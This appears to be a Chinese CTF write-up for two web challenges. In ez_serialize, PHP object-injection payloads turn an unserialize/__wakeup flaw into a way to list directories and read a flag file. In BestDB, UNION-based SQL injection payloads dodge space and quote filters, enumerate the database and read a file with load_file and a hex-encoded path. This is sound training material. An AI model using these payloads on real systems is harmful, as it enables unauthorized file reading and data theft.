补发WP
ez_serialize
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para); //关键,触发点
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
提取简化
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para); //关键,触发点,能够创建指定类对象
}
}
}
核心代码可以通过拼接调用任意类方法
FilesystemIterator
:指定目录的迭代器
SplFileObject
:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容
构造序列化
<?php
class A{
public $class='FilesystemIterator';
public $para='./';
public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}
显示文件夹/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
,
<?php
class A{
public $class='FilesystemIterator';
public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`';
public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:36:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`";s:5:"check";N;}
无显示,根据文件夹名猜测此文件夹为最底层,其下包含flag文件,直接采用:
<?php
class A{
public $class='SplFileObject';
public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';
public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:43:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}
BestDB
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
刚开始做感觉是个极其常规的SQL,过滤了空格和单引号
' ' -> " "
[空格] -> /**/
直到正常爆库到最后,发现是读文件
1"/**/Union/**/seLect/**/1,database(),3;#
1"/**/Union/**/seLect/**/1,group_concat(schema_name),3/**/from/**/information_schema.schemata%23
information_schema,mysql,performance_schema,sys,users
1"/**/Union/**/seLect/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/wHere/**/table_schema="users"%23
f1agdas,users
1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="f1agdas"%23
id,f1agdas
1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/f1agdas%23
flag.txt
1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="users"%23
id,f1agdas,id,username,password
1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/users%23
//这里不知道为什么会无回显,明明上面那个分支使用了相同的字段名,但是这里却不行,用ord()做了测试,发现并没有对回显过滤
爆第二分支到一半才反应过来是读文件,开始
1"/**/Union/**/seLect/**/1,load_file("/flag.txt"),3/**/from/**/users%2
forbidden!!!!!
怀疑过滤了flag,用十六进制尝试,
/flag.txt -->
2f666c61672e747874 -->
0x2f666c61672e747874
/flag -->
2f666c6167 -->
0x2f666c6167
//提示。。。,说好的.txt呢
最终payload
1"/**/Union/**/seLect/**/1,load_file(0x2f666c6167),3/**/from/**/users%2
签到
异世相遇,尽享美味,安恒赛高
调查问卷
有手就行